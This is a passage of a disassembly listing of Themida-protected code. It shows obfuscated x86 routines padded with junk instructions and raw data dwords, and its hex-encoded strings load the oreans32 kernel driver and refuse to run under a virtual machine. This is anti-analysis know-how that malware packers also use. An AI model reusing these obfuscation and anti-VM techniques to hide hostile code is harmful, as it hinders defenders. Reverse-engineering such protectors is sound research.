loc_5B4F35: ; CODE XREF: sub_5B4F1A+10j mov dl, [edi] cmp [esi], dl jz loc_5B4F44 mov ecx, 0 loc_5B4F44: ; CODE XREF: sub_5B4F1A+1Fj inc esi inc edi loc_5B4F46: ; CODE XREF: sub_5B4F1A+8j cmp byte ptr [esi], 0 jz loc_5B4F57 or ecx, ecx jnz loc_5B4F27 loc_5B4F57: ; CODE XREF: sub_5B4F1A+2Fj or ecx, ecx jz loc_5B4F80 cmp byte ptr [edi], 0 jz loc_5B4F71 cmp byte ptr [edi], 20h jnz loc_5B4F7B loc_5B4F71: ; CODE XREF: sub_5B4F1A+48j mov ecx, 1 jmp loc_5B4F80 ; --------------------------------------------------------------------------- loc_5B4F7B: ; CODE XREF: sub_5B4F1A+51j mov ecx, 0 loc_5B4F80: ; CODE XREF: sub_5B4F1A+3Fj ; sub_5B4F1A+5Cj or ecx, ecx jz loc_5B4F95 sub esi, ebx mov [ebp+7E7279Ch], esi jmp loc_5B4F9F ; --------------------------------------------------------------------------- loc_5B4F95: ; CODE XREF: sub_5B4F1A+68j mov dword ptr [ebp+7E7279Ch], 0 loc_5B4F9F: ; CODE XREF: sub_5B4F1A+76j popa retn sub_5B4F1A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B4B7B loc_5B4FA1: ; CODE XREF: sub_5B4B7B+102j ; sub_5B4B7B+10Cj ... mov eax, 0 or eax, eax jz loc_5B4FB8 mov dword ptr [ebp+7E42D7Dh], 0 loc_5B4FB8: ; CODE XREF: sub_5B4B7B+42Dj mov ecx, eax jmp loc_5B6076 ; END OF FUNCTION CHUNK FOR sub_5B4B7B ; --------------------------------------------------------------------------- db 41h dd 50415644h, 2E323349h, 4C4C44h, 6E65704Fh, 614D4353h dd 6567616Eh, 43004172h, 74616572h, 72655365h, 65636976h dd 74530041h, 53747261h, 69767265h, 416563h, 4E746547h dd 76697461h, 73795365h, 496D6574h, 6F666Eh, 6E65704Fh dd 76726553h, 41656369h, 6C654400h, 53657465h, 69767265h dd 43006563h, 65736F6Ch, 76726553h, 48656369h, 6C646E61h dd 6F430065h, 6F72746Eh, 7265536Ch, 65636976h, 8 dup(0) dd 65726F00h, 33736E61h, 79732E32h, 73h, 0 dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0) aOreans32 db 'oreans32',0 a_Oreans32 db '\\.\oreans32',0 a_GlobalOreans3 db '\\.\Global\oreans32',0 aOreansx64 db 'oreansx64',0 a_GlobalOreansx db '\\.\Global\oreansx64',0 align 10h dd 41h dup(0) dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h dd 736E6165h, 732E3233h, 7379h, 48h dup(0) dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h dd 676F7270h, 2E6D6172h, 59h dup(0) dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0) dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0) dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0) dd 4F5C7325h, 6E616572h, 78762E73h, 64h, 2 dup(0) aXprotevent db 'XprotEvent',0 align 10h dd 0Ah dup(0) dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h dd 6567h, 43000000h, 74616572h, 65764565h, 4120746Eh, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0) dd 10h, 0FF000100h, 17FFEFFh, 1000000h, 4A000000h, 2, 0F000100h dd 40800h dword_5B5FD0 dd 94h, 5, 1, 0A28h, 2, 76726553h, 20656369h, 6B636150h ; DATA XREF: Themida_:005856A4o dd 3220h, 1Dh dup(0) dd 74666F53h, 65726177h, 6E69575Ch db 65h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B4B7B loc_5B6076: ; CODE XREF: sub_5B4B7B+43Fj mov eax, esp mov dx, di mov [ebp+7E40AB9h], eax mov edi, [ebp+7E41EC9h] mov eax, eax push esi mov edi, 5CDCE4Eh pop ecx cmp dword ptr [ebp+7E413F1h], 0 jnz short loc_5B60A2 cmp dword ptr [ebp+7E40935h], 0 jz short loc_5B60BB loc_5B60A2: ; CODE XREF: sub_5B4B7B+151Cj push eax push ebx mov eax, eax mov eax, 43Dh mov [ebp+7E41479h], eax lea ebx, [ebp+7E6E9F0h] call ebx ; _iob pop ebx pop eax loc_5B60BB: ; CODE XREF: sub_5B4B7B+1525j cmp dword ptr [ebp+7E40935h], 0 jz short loc_5B60DB push eax push ebx mov eax, 43Dh mov [ebp+7E41479h], eax lea ebx, [ebp+7E6E6DFh] call ebx ; _iob pop ebx pop eax loc_5B60DB: ; CODE XREF: sub_5B4B7B+1547j cmc xor edi, [ebp+7E43069h] mov eax, eax or [ebp+7E40E4Dh], eax mov eax, eax adc di, 2C3Eh cmp dword ptr [ebp+7E413F1h], 0 jnz short loc_5B6103 cmp dword ptr [ebp+7E40935h], 0 jz short loc_5B6116 loc_5B6103: ; CODE XREF: sub_5B4B7B+157Dj push eax push ebx mov eax, eax mov eax, 0 lea ebx, [ebp+7E6E892h] call ebx ; _iob pop ebx pop eax loc_5B6116: ; CODE XREF: sub_5B4B7B+1586j cmp dword ptr [ebp+7E40935h], 0 jz short loc_5B6130 push eax push ebx mov eax, 0 lea ebx, [ebp+7E6E743h] call ebx ; _iob pop ebx pop eax loc_5B6130: ; CODE XREF: sub_5B4B7B+15A2j mov [ebp+7E40011h], edx call near ptr loc_5B6142+2 enter 0D85h, 0BAh cmc xchg eax, edx dec ebp loc_5B6142: ; CODE XREF: sub_5B4B7B+15BBp sub bh, ds:199D958Bh in al, 7 ; DMA controller, 8237A-5. ; channel 3 current word count pop edi mov eax, eax push 0 push ebx call sub_5B6158 and [ebx-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_5B4B7B ; =============== S U B R O U T I N E ======================================= sub_5B6158 proc near ; CODE XREF: sub_5B4B7B+15D5p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5B6158 endp ; --------------------------------------------------------------------------- dd 0FAA90101h, 0C08BF2A1h, 88E0Fh, 8E0F0000h, 2, 11E95F56h dd 5000000h, 6B584D48h, 152925ABh, 0B1077759h, 0E13C8EB3h dd 13F1BD83h, 750007E4h, 35BD8309h, 7E409h, 53501374h dd 0B8C08Bh, 8D000000h, 0E6E7C49Dh, 5BD3FF07h, 35BD8358h dd 7E409h, 53501174h, 0B8h, 119D8D00h, 0FF07E6E7h, 6A585BD3h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0A434C355h, 0F0FA9E3Fh, 53006A9Bh, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 7C2C5908h, 8BCDC766h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 42BE833Eh, 2A3A727h, 46BFC08Bh dd 835326FEh, 0E413F1BDh, 9750007h, 935BD83h, 740007E4h dd 8B535013h, 0B8C0h, 9D8D0000h, 7E6E82Bh, 585BD3FFh, 935BD83h dd 740007E4h, 0B8535011h, 0 ; --------------------------------------------------------------------------- lea ebx, [ebp+7E6E72Ah] call ebx ; _iob pop ebx pop eax jb loc_5B628B movzx edx, cx loc_5B628B: ; CODE XREF: Themida_:005B6282j mov cx, 0D9BEh mov ecx, [ebp+7E426E5h] jz $+6 mov eax, eax jg loc_5B62B1 jmp loc_5B62B1 ; --------------------------------------------------------------------------- dd 0C09C3287h, 0A35F4BB8h db 0BAh ; --------------------------------------------------------------------------- loc_5B62B1: ; CODE XREF: Themida_:005B629Dj ; Themida_:005B62A3j mov eax, eax mov dx, 4F17h cmp dword ptr [ebp+7E413F1h], 0 jnz short loc_5B62C9 cmp dword ptr [ebp+7E40935h], 0 jz short loc_5B62DC loc_5B62C9: ; CODE XREF: Themida_:005B62BEj push eax push ebx mov eax, eax mov eax, 0 lea ebx, [ebp+7E6E75Dh] call ebx ; _iob pop ebx pop eax loc_5B62DC: ; CODE XREF: Themida_:005B62C7j mov [ebp+7E40661h], ecx mov dh, ch mov eax, eax add ecx, [ebp+7E42DE1h] mov ecx, [ebp+7E403E1h] mov eax, eax jns loc_5B6302 push edx xor ecx, 334E8AD1h pop edi loc_5B6302: ; CODE XREF: Themida_:005B62F4j cmp dword ptr [ebp+7E413F1h], 0 jnz short loc_5B6314 cmp dword ptr [ebp+7E40935h], 0 jz short loc_5B632D loc_5B6314: ; CODE XREF: Themida_:005B6309j push eax push ebx mov eax, eax mov eax, 7D0h mov [ebp+7E41479h], eax lea ebx, [ebp+7E6E9F0h] call ebx ; _iob pop ebx pop eax loc_5B632D: ; CODE XREF: Themida_:005B6312j cmp dword ptr [ebp+7E40935h], 0 jz short loc_5B634D push eax push ebx mov eax, 7D0h mov [ebp+7E41479h], eax lea ebx, [ebp+7E6E6DFh] call ebx ; _iob pop ebx pop eax loc_5B634D: ; CODE XREF: Themida_:005B6334j xor [ebp+7E42509h], eax jmp loc_5B6360 ; --------------------------------------------------------------------------- dd 0ADEF0D78h, 0DC014Ah ; --------------------------------------------------------------------------- loc_5B6360: ; CODE XREF: Themida_:005B6353j mov eax, eax mov dh, 80h movsx edx, ax mov byte ptr [ebp+7E42C2Dh], 53h mov [ebp+7E41AA1h], ecx push 99395F90h push 0 push edx call sub_5B6384 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B6384 proc near ; CODE XREF: Themida_:005B637Cp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_5B6384 endp ; --------------------------------------------------------------------------- shr byte ptr [ecx-1], 0B5h popf add esp, esp pop es lea eax, [ebp+7E43BDCh] jmp loc_5B63B6 ; --------------------------------------------------------------------------- db 86h dd 0A7A37A30h, 210CF12Fh, 0F8B6042h db 81h, 0F9h ; --------------------------------------------------------------------------- loc_5B63B6: ; CODE XREF: Themida_:005B63A2j call eax call near ptr loc_5B63C8+3 loc_5B63BD: ; DATA XREF: Themida_:00582DBCo pushf mov cl, 3Ah push ebx movsb sub al, 99h adc [edi+10h], ebp xchg eax, ecx loc_5B63C8: ; CODE XREF: Themida_:005B63B8p xor dh, [esi+6840F6Eh] ; --------------------------------------------------------------------------- dw 0 dd 8A0F00h, 5F000000h, 30618589h, 0BD8907E4h, 7E40931h dd 2C2D85C6h, 8B5707E4h, 520668D3h, 6A9004h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0F5CA6AC3h dd 0B5FFCB8Bh, 7E4019Dh, 38E0Fh, 0B70F0000h, 0DC858DFBh dd 907E43Bh, 0E42569B5h, 89D0FF07h, 0E402459Dh, 4D858907h dd 6A07E430h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 9749C351h, 0A4B251ABh, 0E7872F2Dh dd 2C2D85C6h, 804307E4h, 286866D2h, 6ABC9070h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 29CCC351h, 0B58D23CEh, 0FF07E41Ch, 0E4019DB5h, 81665707h dd 595A0FF2h, 3BDC858Dh, 0D28107E4h, 0F3268D1h, 8589D0FFh dd 7E40E6Dh, 7C19D09h, 85C607E4h, 7E42C2Dh, 55006A4Ch dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 9A05965Fh, 669F8AEAh, 0D40FD281h, 0F1CA8152h, 5F793650h dd 0DA1CE968h, 0CE9D9h, 0A7B00000h, 633D792h, 0D8DB3AE9h dd 52601268h, 1C599501h, 805A07E4h, 0FF61B2EEh, 0E4019DB5h dd 0F98D8907h, 8D07E403h, 0E43BDC85h, 51006A07h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 8FD05366h, 66D3B22Dh, 8F70CF81h, 8166D0FFh, 89F30EC2h dd 0E41BD585h, 5DBD8B07h, 0C607E435h, 0E42C2D85h, 0C5B94607h dd 685BFC0Ah, 0BADE0614h, 46DBC181h, 0B5FF1BB2h, 7E4019Dh dd 13E9h, 0D7D90300h, 0C4ED71A0h, 87906C25h, 9B5E077Eh dd 259F8E94h, 3BDC858Dh, 666007E4h, 0D080FB8Bh, 0D0FF614Bh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 74C35646h dd 8B668B9Fh, 0CD8589D1h, 0E907E415h, 10h, 0E6B5CE22h dd 4569AD5Ch, 79AEF28Bh, 0C10299EFh, 0E314DF81h, 85C63F36h dd 7E42C2Dh, 50006A47h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 9D0160CAh, 7E40345h, 218D8D8Bh, 806107E4h dd 0E268CEF1h, 8B8A0FB5h, 0E40FA9BDh, 9DB5FF07h, 6607E401h dd 8B43D9BFh, 0E42A7995h, 0DC858D07h, 0F07E43Bh, 58Fh dd 0F2816600h, 0D0FF2ECFh, 11E9h, 33580500h, 4540E111h dd 94E482ECh, 216038C1h, 85898B4Eh, 7E41B81h, 1505BD33h dd 85C607E4h, 7E42C2Dh, 51006A47h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 608942C0h, 29CBBF0Fh dd 0E432F5B5h, 81666107h, 68D210E1h, 83D0B5F3h, 497C63B9h dd 9DB5FF0Bh, 6A07E401h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 0DAD7C352h, 93B9877Bh dd 8D506C74h, 0E43BDC85h, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 19DCC8C5h dd 4DFEAFB7h, 8961B2BEh, 0E4231595h, 0E9D0FF07h, 6, 595F011Fh dd 8589C8B9h, 7E413ADh, 2D85C6FCh, 7707E42Ch, 0B61958Bh dd 0A36807E4h, 89F397A8h, 0E403A9BDh, 0E1B5FF07h, 5307E41Dh dd 35C4B966h, 0D18B6659h, 3BDC858Dh, 8D0B07E4h, 7E40D7Dh dd 0FC53D0FFh, 6985895Fh, 8B07E421h, 0E408A18Dh, 2D85C607h dd 4707E42Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 39C35646h, 356D8D0Bh, 0BD8B07E4h, 7E425BDh, 28FAF668h dd 67EA8187h, 0FF21B1DBh, 0E4019DB5h, 6E907h, 0E36D0000h dd 0ED30559h, 3BDC858Dh, 6A07E4h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 0E9F833C3h, 0Ch, 0F6B21B0Ah dd 0BC3BA195h, 4A6DFECFh, 0C6B2D0FFh, 12C58589h, 63B107E4h dd 2C2D85C6h, 664307E4h, 0FC68C88Bh, 66BC8E6Eh, 0FF104ABFh dd 0E4019DB5h, 9E907h, 67CE0000h, 79B86EC8h, 8D7A0381h dd 0E43BDC85h, 0E99D8907h, 0FF07E431h, 52006AD0h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 89683938h, 0E41FD585h, 0DDBA6607h, 2D85C679h, 4507E42Ch dd 348F71BFh, 69696868h, 6A8E72h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 0CCFB33C3h, 0BE9h, 83FE8D00h dd 7E37B9FEh, 0F6E2AD37h, 0FFD68B66h, 0E4019DB5h, 0A1B96607h dd 0DC858D8Ch, 8B07E43Bh, 0E4207D95h, 0E9D0FF07h, 7, 91623F18h dd 89A03ACCh, 0E4166585h, 0ABBF5707h, 59695A17h, 2C2D85C6h dd 0F4407E4h, 688h, 0A98D8B00h, 6807E418h, 0B8F2EC64h dd 0B5FF76B6h, 7E4019Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 40C35545h, 70E691DCh, 0BCC08025h, 3D853160h dd 6607E40Eh, 2AC4C381h, 0B18D2361h, 8D07E42Fh, 0E43BDC85h dd 43CA8107h, 0FF2C4574h, 850FD0h, 89000000h, 0E4140585h dd 0C6F98B07h, 0E42C2D85h, 0FA8B4307h, 764AA768h, 0D5BD8BC0h dd 0FF07E417h, 0E4019DB5h, 0F6BA6607h, 0DC858D30h, 6A07E43Bh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 8599C350h, 6055C344h, 8E8h, 97331600h, 786617E5h dd 0ABB6626h, 0BA665F8Ah, 6661774Fh, 0D0FFCA8Bh, 718589F5h dd 8B07E409h, 0E418DD8Dh, 22BD8007h, 7E737h, 0FA840Fh dd 0BD8B0000h, 7E408EDh, 4858DF9h, 8007E737h, 9E8A7D2h dd 67000000h, 2AC73D6Eh, 61AA80EFh, 7BEF8166h, 6A505973h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 48B2C356h, 0F0ABB8A0h, 0C9816650h, 0BA5AA9DDh dd 44D91D3h, 10E9016Ah, 88000000h, 819778Bh, 1361A4B6h dd 89EDB43Ch, 6A247C8Ah, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 0C9BF0F88h, 19FD8589h dd 6A07E4h, 3D19D89h, 666007E4h, 0F380F88Bh, 95FF61CBh dd 7E40E6Dh, 18F1BD8Bh, 858907E4h, 7E40DA1h, 23FF6AFCh dd 0E42205BDh, 0B9665207h, 0FF5A3CB9h, 0E40DA1B5h, 51006A07h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 0A5D95120h, 0D68B8D91h, 304D95FFh, 5E907E4h, 6B000000h dd 53FC66A3h, 958BC08Bh, 7E42415h, 13F1BD83h, 750007E4h dd 35BD8309h, 7E409h, 53501974h, 0D1B8C08Bh, 89000007h dd 0E4147985h, 0F09D8D07h, 0FF07E6E9h, 83585BD3h, 0E40935BDh dd 17740007h, 0D1B85350h, 89000007h, 0E4147985h, 0DF9D8D07h dd 0FF07E6E6h, 6A585BD3h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 0D933C352h, 2612AD67h dd 5E9A6h, 0D2A70000h, 8B0F4C3Eh, 0E409ED8Dh, 6E96007h dd 95000000h, 10F34C42h, 958B6155h, 7E41859h, 6AC08Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0E0191FC3h, 0FBE8F8Bh, 685h, 25B58900h, 0C607E404h dd 0E42C2D85h, 6A4707h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 1E0D21C3h, 7B0A076Ah, 0F7C16857h dd 8B6693C8h, 9DB5FFCEh, 0F07E401h, 858DCFBFh, 7E43BDCh dd 1B6AC9B9h, 66D0FF63h, 1AF2E981h, 5DBD8B50h, 6607E432h dd 8D8D91BFh, 0E73B4585h, 85896007h, 7E43219h, 0E069BE66h dd 9400C761h, 89000000h, 0E429BD8Dh, 0BF0F5807h, 45B58DFFh dd 6607E73Bh, 0F856D68Bh, 8D29D0FFh, 7E4191Dh, 3B45858Dh dd 10E907E7h, 2D000000h, 0D17D79BCh, 58F73D5Eh, 0C604EB55h dd 83864532h, 0F060478h, 2285h, 8F0F6000h, 3, 29C7BF0Fh dd 0E41809BDh, 85C76107h, 7E73BD9h, 1, 0CF816657h, 835FCAF2h dd 0E43345BDh, 850F0007h, 62h, 1C158D0Bh, 12E907E4h, 32000000h dd 3552EAh, 766A5761h, 729E47AFh, 4AED4794h, 0D9BD8341h dd 7E73Bh, 38850Fh, 850F0000h, 4, 8927BF66h, 12699D89h dd 0BD8307E4h, 7E41465h, 1B840F00h, 66000000h, 85C7FE8Bh dd 7E4231Dh, 0 ; --------------------------------------------------------------------------- pusha mov [ebp+7E42359h], ecx mov ebx, [ebp+7E413A9h] popa mov bx, ds push 0 push ecx call sub_5B6CB8 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B6CB8 proc near ; CODE XREF: Themida_:005B6CB0p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_5B6CB8 endp ; --------------------------------------------------------------------------- dd 4A8ED918h, 661845A4h, 601FD981h, 0F04C3F6h, 56F84h dd 8D8B5600h, 7E40EF5h, 0C7D18B5Fh, 0E4201585h, 7, 5CC98100h dd 800D356Fh, 0E7372FBDh, 850F0007h, 5, 24CA8166h, 2D85C634h dd 4707E42Ch, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 0D9C35040h, 0CA8B6617h, 0E45B8668h, 0F9BF0FE3h dd 19DB5FFh, 0C88B07E4h, 3BDC858Dh, 6A07E4h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0E8E306C3h dd 81D0FF46h, 95EEDAC7h, 1046862h, 0C88B0000h, 16BD9D8Dh dd 0BF6607E4h, 0E953C41Eh, 9, 626CAF55h, 62A688B0h, 0BD3153B2h dd 7E412C9h, 81D0FF5Ah, 453814C1h, 0BD858D4Fh, 8B07E416h dd 0E401A5BDh, 6A5007h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 0BF666BC3h, 10E867B5h, 9A000000h dd 0B151C820h, 715A9A55h, 404C8987h, 0B92FE6C6h, 2D68FD44h dd 0E1858D5Ah, 0F07E736h, 68Ch, 0C98D2B00h, 5007E42Dh dd 0BE9h, 7BC77400h, 608E0F72h, 0E3589527h, 2DB4858Dh dd 0B58907E7h, 7E4266Dh, 0B7B86050h, 0F0D5DB8h, 0FF61F7B7h dd 0E4216995h, 0BD035607h, 7E413D5h, 599D8959h, 8307E426h dd 6A0CC4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 8BE788C3h, 0E41C158Dh, 0D2B70F07h, 8068006Ah dd 6A000000h, 6A006A03h, 6800h, 858D8000h, 7E72DB4h, 0D595FF50h dd 8907E41Fh, 0E736C485h, 2D85C607h, 4707E42Ch, 0B15E8768h dd 9DB5FFC7h, 8D07E401h, 0E43BDC85h, 6AD0FF07h, 0C4B5FF00h dd 0FF07E736h, 998D8BD0h, 8907E406h, 0E40FA18Dh, 37D03D07h dd 830F0000h, 2Dh, 0FFFB8B66h, 0E736C4B5h, 0FEB70F07h dd 97195FFh, 8B6607E4h, 6E9D7h, 0B64B0000h, 2E1CE195h dd 13DE9h, 8B92B600h, 0E4147595h, 0C4B5FF07h, 6A07E736h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 0FD3C356h, 386h, 0FABF0F00h, 97195FFh, 6E807E4h dd 0E3000000h, 0DD1EF6ADh, 5EEE80F5h, 6A006A59h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 7262C356h, 0E58D8B70h, 6A07E417h, 0AE800h, 66140000h dd 0D5470CEFh, 54019261h, 68A0Fh, 9D890000h, 7E40211h dd 0F8006A5Fh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 0FD409C3h, 43B70D30h, 95B589E9h dd 6A07E421h, 8E900h, 22CD0000h, 0B578AB60h, 6AC460h, 39506ABAh dd 0C8858D04h, 8007E736h, 858968F6h, 7E41E59h, 50006A50h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 0A257249h, 0E84B2491h, 12h, 137EFBF5h, 680CE233h, 599DDD76h dd 6ACF886Fh, 8529BF9Eh, 7E406ADh, 0D595FF59h, 0F07E41Fh dd 581h, 0B7C1BA00h, 0F88353E9h, 11850FFFh, 66000001h dd 858DFE8Bh, 7E6ED6Ch, 0FE8h, 0AA554100h, 84973CE4h, 73DBB3ECh dd 13E23823h, 5FF08A56h, 5E859h, 0BDB20000h, 8B3013B5h dd 0E4222195h, 0D0FF5907h, 6630E580h, 0D367D181h, 0B966006Ah dd 6A1154h, 0BD895360h, 7E41495h, 6A615Fh, 1890Fh, 6AF80000h dd 118D8900h, 6A07E430h, 0FE800h, 0F7F20000h, 0F0B7C4C7h dd 1126971Eh, 0A9DF33DEh, 5A98B6B8h, 8B66006Ah, 0C8858DC8h dd 8B07E736h, 0E41C858Dh, 0E1815007h, 37EB1F7Ch, 1FD595FFh dd 9BB207E4h, 0FFFF883h, 6F85h, 0DE900h, 85710000h, 9A02882Ch dd 7D4192A1h, 8D4F6EA9h, 0E730D0B5h, 0FEA0BA07h, 4DBF2ECDh dd 8D3CBF7Dh, 0E6DBD685h, 0F98B6607h, 9E9D0FFh, 7D000000h dd 2672300Eh, 8C105486h, 0EE8006Ah, 7A000000h, 0D3C22402h dd 2A0018DDh, 5827ED12h, 59D08BE5h, 166595FFh, 0BD0B07E4h dd 7E421BDh, 8D896057h, 7E42155h, 0E5BD89h, 5F6107E4h dd 36C48589h, 8D8B07E7h, 7E42ED9h, 1919589h, 6A07E4h, 8D10C180h dd 0E736BC85h, 5089B207h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 2CC35545h, 0BE4AA8DFh, 11E8h, 84E9E800h dd 1F32304Eh, 20751368h, 0D8E53E9Dh, 0DE80B142h, 46A59C3h dd 68A0Fh, 0B5890000h, 7E400FDh, 2D39858Dh, 6A07E4h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 42D399C3h, 8C7AABAAh, 0A358D0Bh, 0BD0307E4h, 7E40B15h dd 10E950h, 0B160000h, 5D777FE4h, 3C2F7CC3h, 1A681030h dd 6A56C0h, 6AD1B70Fh, 9E900h, 0AE910000h, 2DEBFC5Eh, 6A26A59Ch dd 55006A01h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 0B562FBF9h, 958B1F62h, 7E41B19h, 0FFD08B66h dd 0E736C4B5h, 8C0F6007h, 6, 890Fh, 52B20000h, 595FF61h dd 8907E414h, 0E4244D85h, 1B6AE907h, 0CF810000h, 5A8F6B45h dd 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 0B83BADC3h, 0B589EB3Ch, 7E418C5h, 13F1BD83h dd 750007E4h, 35BD8309h, 7E409h, 53501974h, 0D2B8C08Bh dd 89000007h, 0E4147985h, 0F09D8D07h, 0FF07E6E9h, 83585BD3h dd 0E40935BDh, 17740007h, 0D2B85350h, 89000007h, 0E4147985h dd 0DF9D8D07h, 0FF07E6E6h, 52585BD3h, 1CFD8589h, 665907E4h 